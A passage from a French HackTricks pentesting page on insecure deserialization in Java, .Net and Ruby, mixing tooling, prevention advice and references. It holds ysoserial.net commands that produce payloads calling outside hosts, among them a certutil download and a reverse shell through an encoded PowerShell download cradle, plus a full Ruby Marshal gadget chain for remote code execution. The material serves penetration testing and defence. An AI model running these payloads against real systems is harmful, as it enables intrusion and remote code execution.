Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **avec ysoserial pour créer plus d'exploits**. Plus d'informations sur cet outil dans les **diapositives de la présentation** où l'outil a été présenté: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
|
|
|
#### marshalsec
|
|
|
|
[**marshalsec** ](https://github.com/mbechler/marshalsec)peut être utilisé pour générer des charges utiles pour exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en Java.\
|
|
Afin de compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml`:
|
|
```markup
|
|
<dependency>
|
|
<groupId>javax.activation</groupId>
|
|
<artifactId>activation</artifactId>
|
|
<version>1.1.1</version>
|
|
</dependency>
|
|
|
|
<dependency>
|
|
<groupId>com.sun.jndi</groupId>
|
|
<artifactId>rmiregistry</artifactId>
|
|
<version>1.2.1</version>
|
|
<type>pom</type>
|
|
</dependency>
|
|
```
|
|
**Installer maven**, et **compiler** le projet:
|
|
```bash
|
|
sudo apt-get install maven
|
|
mvn clean package -DskipTests
|
|
```
|
|
#### FastJSON
|
|
|
|
En savoir plus sur cette bibliothèque Java JSON : [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
|
|
|
### Laboratoires
|
|
|
|
* Si vous voulez tester des charges utiles ysoserial, vous pouvez **exécuter cette application web** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
|
|
|
### Pourquoi
|
|
|
|
Java ADORE envoyer des objets sérialisés partout. Par exemple :
|
|
|
|
* Dans les **requêtes HTTP** - Paramètres, ViewState, Cookies, vous l'appelez.
|
|
* **RMI** - Le protocole Java RMI largement utilisé est basé à 100% sur la sérialisation
|
|
* **RMI sur HTTP** - De nombreuses applications web Java épaisses utilisent cela - encore une fois, des objets 100% sérialisés
|
|
* **JMX** - Encore une fois, repose sur des objets sérialisés envoyés sur le fil
|
|
* **Protocoles personnalisés** - L'envoi et la réception d'objets Java bruts est la norme - que nous verrons dans certaines des exploitations à venir
|
|
|
|
### Prévention
|
|
|
|
#### Objets transitoires
|
|
|
|
Une classe qui implémente `Serializable` peut implémenter comme `transient` n'importe quel objet à l'intérieur de la classe qui ne devrait pas être sérialisé. Par exemple :
|
|
```java
|
|
public class myAccount implements Serializable
|
|
{
|
|
private transient double profit; // declared transient
|
|
private transient double margin; // declared transient
|
|
```
|
|
#### Éviter la sérialisation d'une classe qui doit implémenter Serializable
|
|
|
|
Certains objets de votre application peuvent être obligés d'implémenter `Serializable` en raison de leur hiérarchie. Pour garantir que vos objets d'application ne peuvent pas être désérialisés, une méthode `readObject()` doit être déclarée (avec un modificateur `final`) qui lance toujours une exception :
|
|
```java
|
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
|
throw new java.io.IOException("Cannot be deserialized");
|
|
}
|
|
```
|
|
#### Vérifiez la classe désérialisée avant de la désérialiser
|
|
|
|
La classe `java.io.ObjectInputStream` est utilisée pour désérialiser des objets. Il est possible de renforcer son comportement en la sous-classant. C'est la meilleure solution si :
|
|
|
|
* Vous pouvez modifier le code qui effectue la désérialisation
|
|
* Vous savez quelles classes vous souhaitez désérialiser
|
|
|
|
L'idée générale est de remplacer [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) afin de restreindre les classes autorisées à être désérialisées.
|
|
|
|
Comme cet appel se produit avant l'appel de `readObject()`, vous pouvez être sûr qu'aucune activité de désérialisation ne se produira à moins que le type ne soit celui que vous souhaitez autoriser.
|
|
|
|
Un exemple simple est présenté ici, où la classe `LookAheadObjectInputStream` est garantie de ne pas désérialiser un autre type que la classe `Bicycle` :
|
|
```java
|
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
|
|
|
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
|
super(inputStream);
|
|
}
|
|
|
|
/**
|
|
* Only deserialize instances of our expected Bicycle class
|
|
*/
|
|
@Override
|
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
|
if (!desc.getName().equals(Bicycle.class.getName())) {
|
|
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
|
}
|
|
return super.resolveClass(desc);
|
|
}
|
|
}
|
|
```
|
|
**Renforcer l'utilisation de java.io.ObjectInputStream avec un agent**
|
|
|
|
Si vous ne possédez pas le code ou si vous ne pouvez pas attendre un correctif, l'utilisation d'un agent pour renforcer `java.io.ObjectInputStream` est la meilleure solution.\
|
|
En utilisant cette approche, vous ne pouvez mettre sur liste noire que les types malveillants connus et non les mettre sur liste blanche car vous ne savez pas quels objets sont en cours de sérialisation.
|
|
|
|
Pour activer ces agents, ajoutez simplement un nouveau paramètre JVM :
|
|
```
|
|
-javaagent:name-of-agent.jar
|
|
```
|
|
Exemple: [rO0 par Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
|
|
|
### Références
|
|
|
|
* Talk sur la désérialisation et ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
|
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
|
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
|
* Talk sur gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) et slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
|
* Document sur Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
|
* Document sur la désérialisation JSON de Java et .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* CVEs de désérialisation: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
|
|
|
## Injection JNDI et log4Shell
|
|
|
|
Découvrez ce qu'est **l'injection JNDI, comment l'exploiter via RMI, CORBA et LDAP et comment exploiter log4shell** (et un exemple de cette vulnérabilité) sur la page suivante:
|
|
|
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
|
{% endcontent-ref %}
|
|
|
|
## JMS - Java Message Service
|
|
|
|
> L'API **Java Message Service** (**JMS**) est une API middleware orientée message pour Java permettant d'envoyer des messages entre deux clients ou plus. C'est une implémentation pour résoudre le problème producteur-consommateur. JMS fait partie de la plate-forme Java Enterprise Edition (Java EE) et a été défini par une spécification développée chez Sun Microsystems, mais qui a depuis été guidée par le Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, d'envoyer, de recevoir et de lire des messages. Il permet la communication entre les différents composants d'une application distribuée d'être lâchement couplée, fiable et asynchrone. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
|
|
|
### Produits
|
|
|
|
Plusieurs produits utilisent ce middleware pour envoyer des messages:
|
|
|
|
![](<../../.gitbook/assets/image (291).png>)
|
|
|
|
![](<../../.gitbook/assets/image (292).png>)
|
|
|
|
### Exploitation
|
|
|
|
En gros, il y a **une série de services utilisant JMS de manière dangereuse**. Par conséquent, si vous avez **suffisamment de privilèges** pour envoyer des messages à ces services (vous aurez généralement besoin de justificatifs d'identité valides), vous pourriez être en mesure d'envoyer des **objets malveillants sérialisés qui seront désérialisés par le consommateur/abonné**.\
|
|
Cela signifie que dans cette exploitation, tous les **clients qui vont utiliser ce message seront infectés**.
|
|
|
|
Vous devez vous rappeler que même si un service est vulnérable (parce qu'il désérialise de manière non sécurisée une entrée utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.
|
|
|
|
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés à l'aide de gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés est à l'intérieur de l'application vulnérable.
|
|
|
|
### Références
|
|
|
|
* Talk sur JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
|
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
|
|
|
## .Net
|
|
|
|
.Net est similaire à Java en ce qui concerne le fonctionnement des exploits de désérialisation: l'**exploit** va **abuser des gadgets** qui **exécutent** un code intéressant lorsque **un objet est désérialisé**.
|
|
|
|
### Empreinte digitale
|
|
|
|
#### WhiteBox
|
|
|
|
Recherchez dans le code source les termes suivants:
|
|
|
|
1. `TypeNameHandling`
|
|
2. `JavaScriptTypeResolver`
|
|
|
|
Recherchez des sérialiseurs où le type est défini par une variable contrôlée par l'utilisateur.
|
|
|
|
#### BlackBox
|
|
|
|
Vous pouvez rechercher la chaîne codée en Base64 **AAEAAAD/////** ou toute autre chose qui **peut être désérialisée** dans le back-end et qui vous permet de contrôler le type désérialisé\*\*.\*\* Par exemple, un **JSON** ou **XML** contenant `TypeObject` ou `$type`.
|
|
|
|
### ysoserial.net
|
|
|
|
Dans ce cas, vous pouvez utiliser l'outil [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) pour **créer des exploits de désérialisation**. Une fois le référentiel git téléchargé, vous devez **compiler l'outil** en utilisant Visual Studio, par exemple.
|
|
|
|
Si vous voulez en savoir plus sur **comment ysoserial.net crée son exploit**, vous pouvez [**vérifier cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
|
|
|
Les principales options de **ysoserial.net** sont: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* et **`--plugin`.
|
|
```bash
|
|
#Send ping
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
|
|
|
#Timing
|
|
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
|
|
|
#DNS/HTTP request
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
|
|
|
#Reverse shell
|
|
#Create shell command in linux
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
|
#Create exploit using the created B64 shellcode
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
|
```
|
|
**ysoserial.net** a également un **paramètre très intéressant** qui aide à mieux comprendre comment chaque exploit fonctionne: `--test`.\
|
|
Si vous indiquez ce paramètre, **ysoserial.net** **essaiera** l'**exploit localement**, vous pouvez donc tester si votre charge utile fonctionnera correctement.\
|
|
Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme celui-ci (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
|
```java
|
|
if (inputArgs.Test)
|
|
{
|
|
try
|
|
{
|
|
SerializersHelper.JsonNet_deserialize(payload);
|
|
}
|
|
catch (Exception err)
|
|
{
|
|
Debugging.ShowErrors(inputArgs, err);
|
|
}
|
|
}
|
|
```
|
|
Cela signifie que pour tester l'exploit, le code appellera [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539).
|
|
```java
|
|
public static object JsonNet_deserialize(string str)
|
|
{
|
|
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
|
{
|
|
TypeNameHandling = TypeNameHandling.Auto
|
|
});
|
|
return obj;
|
|
}
|
|
```
|
|
Dans le code précédent, il y a une vulnérabilité à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est également vulnérable.\
|
|
Par conséquent, le paramètre **`--test`** nous permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de désérialisation que **ysoserial.net** peut créer.
|
|
|
|
### ViewState
|
|
|
|
Jetez un coup d'œil à [cette publication sur **comment essayer d'exploiter le paramètre \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) pour **exécuter du code arbitraire**. Si vous **connaissez déjà les secrets** utilisés par la machine victime, [**lisez cette publication pour savoir comment exécuter du code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
|
|
|
### **Prévention**
|
|
|
|
Ne permettez pas au flux de données de définir le type d'objet que le flux sera désérialisé. Vous pouvez empêcher cela en utilisant, par exemple, le `DataContractSerializer` ou le `XmlSerializer` si possible.
|
|
|
|
Lorsque `JSON.Net` est utilisé, assurez-vous que `TypeNameHandling` est défini uniquement sur `None`.
|
|
```
|
|
TypeNameHandling = TypeNameHandling.None
|
|
```
|
|
Si vous devez utiliser `JavaScriptSerializer`, ne l'utilisez pas avec un `JavaScriptTypeResolver`.
|
|
|
|
Si vous devez désérialiser des flux de données qui définissent leur propre type, restreignez les types autorisés à être désérialisés. Il convient de noter que cela reste risqué car de nombreux types natifs .Net sont potentiellement dangereux en eux-mêmes. Par exemple,
|
|
```
|
|
System.IO.FileInfo
|
|
```
|
|
Les objets `FileInfo` qui font référence à des fichiers réellement présents sur le serveur peuvent, lorsqu'ils sont désérialisés, modifier les propriétés de ces fichiers, par exemple en les rendant en lecture seule, créant ainsi une attaque potentielle de déni de service.
|
|
|
|
Même si vous avez limité les types qui peuvent être désérialisés, rappelez-vous que certains types ont des propriétés risquées. Par exemple, `System.ComponentModel.DataAnnotations.ValidationException` a une propriété `Value` de type `Object`. Si ce type est autorisé pour la désérialisation, un attaquant peut définir la propriété `Value` sur n'importe quel type d'objet qu'il choisit.
|
|
|
|
Les attaquants doivent être empêchés de diriger le type qui sera instancié. Si cela est possible, même `DataContractSerializer` ou `XmlSerializer` peuvent être détournés, par exemple.
|
|
```
|
|
// Action below is dangerous if the attacker can change the data in the database
|
|
var typename = GetTransactionTypeFromDatabase();
|
|
|
|
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
|
|
|
var obj = serializer.ReadObject(ms);
|
|
```
|
|
L'exécution peut se produire dans certains types .Net lors de la désérialisation. La création d'un contrôle tel que celui illustré ci-dessous est inefficace.
|
|
```
|
|
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
|
|
|
//Check below is too late! Execution may have already occurred.
|
|
if (suspectObject is SomeDangerousObjectType)
|
|
{
|
|
//generate warnings and dispose of suspectObject
|
|
}
|
|
```
|
|
Pour `BinaryFormatter` et `JSON.Net`, il est possible de créer une forme plus sûre de contrôle de liste blanche en utilisant un `SerializationBinder` personnalisé.
|
|
|
|
Essayez de rester à jour sur les gadgets de désérialisation .Net connus comme étant non sécurisés et faites particulièrement attention aux endroits où de tels types peuvent être créés par vos processus de désérialisation. **Un désérialiseur ne peut instancier que des types qu'il connaît**.
|
|
|
|
Essayez de garder tout code qui pourrait créer des gadgets potentiels séparé de tout code qui a une connectivité Internet. Par exemple, `System.Windows.Data.ObjectDataProvider` utilisé dans les applications WPF est un gadget connu qui permet une invocation de méthode arbitraire. Il serait risqué d'avoir une référence à cette assembly dans un projet de service REST qui désérialise des données non fiables.
|
|
|
|
### **Références**
|
|
|
|
* Java et .Net JSON désérialisation **document :** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** présentation : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
|
|
|
## **Ruby**
|
|
|
|
Ruby a deux méthodes pour implémenter la sérialisation dans la bibliothèque **marshal** : la première méthode est **dump** qui convertit l'objet en flux d'octets **(sérialiser)**. Et la deuxième méthode est **load** pour convertir le flux d'octets en objet à nouveau (**désérialiser**).\
|
|
Ruby utilise HMAC pour signer l'objet sérialisé et enregistre la clé sur l'un des fichiers suivants :
|
|
|
|
* config/environment.rb
|
|
* config/initializers/secret\_token.rb
|
|
* config/secrets.yml
|
|
* /proc/self/environ
|
|
|
|
Chaîne de gadgets de désérialisation générique Ruby 2.X vers RCE (plus d'informations dans [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
|
```ruby
|
|
#!/usr/bin/env ruby
|
|
|
|
class Gem::StubSpecification
|
|
def initialize; end
|
|
end
|
|
|
|
|
|
stub_specification = Gem::StubSpecification.new
|
|
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
|
|
|
puts "STEP n"
|
|
stub_specification.name rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Source::SpecificFile
|
|
def initialize; end
|
|
end
|
|
|
|
specific_file = Gem::Source::SpecificFile.new
|
|
specific_file.instance_variable_set(:@spec, stub_specification)
|
|
|
|
other_specific_file = Gem::Source::SpecificFile.new
|
|
|
|
puts "STEP n-1"
|
|
specific_file <=> other_specific_file rescue nil
|
|
puts
|
|
|
|
|
|
$dependency_list= Gem::DependencyList.new
|
|
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
|
|
|
puts "STEP n-2"
|
|
$dependency_list.each{} rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Requirement
|
|
def marshal_dump
|
|
[$dependency_list]
|
|
end
|
|
end
|
|
|
|
payload = Marshal.dump(Gem::Requirement.new)
|
|
|
|
puts "STEP n-3"
|
|
Marshal.load(payload) rescue nil
|
|
puts
|
|
|
|
|
|
puts "VALIDATION (in fresh ruby process):"
|
|
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
|
pipe.print payload
|
|
pipe.close_write
|
|
puts pipe.gets
|
|
puts
|
|
end
|
|
|
|
puts "Payload (hex):"
|
|
puts payload.unpack('H*')[0]
|
|
puts
|
|
|
|
|
|
require "base64"
|
|
puts "Payload (Base64 encoded):"
|
|
puts Base64.encode64(payload)
|
|
```
|
|
Une autre chaîne RCE pour exploiter Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|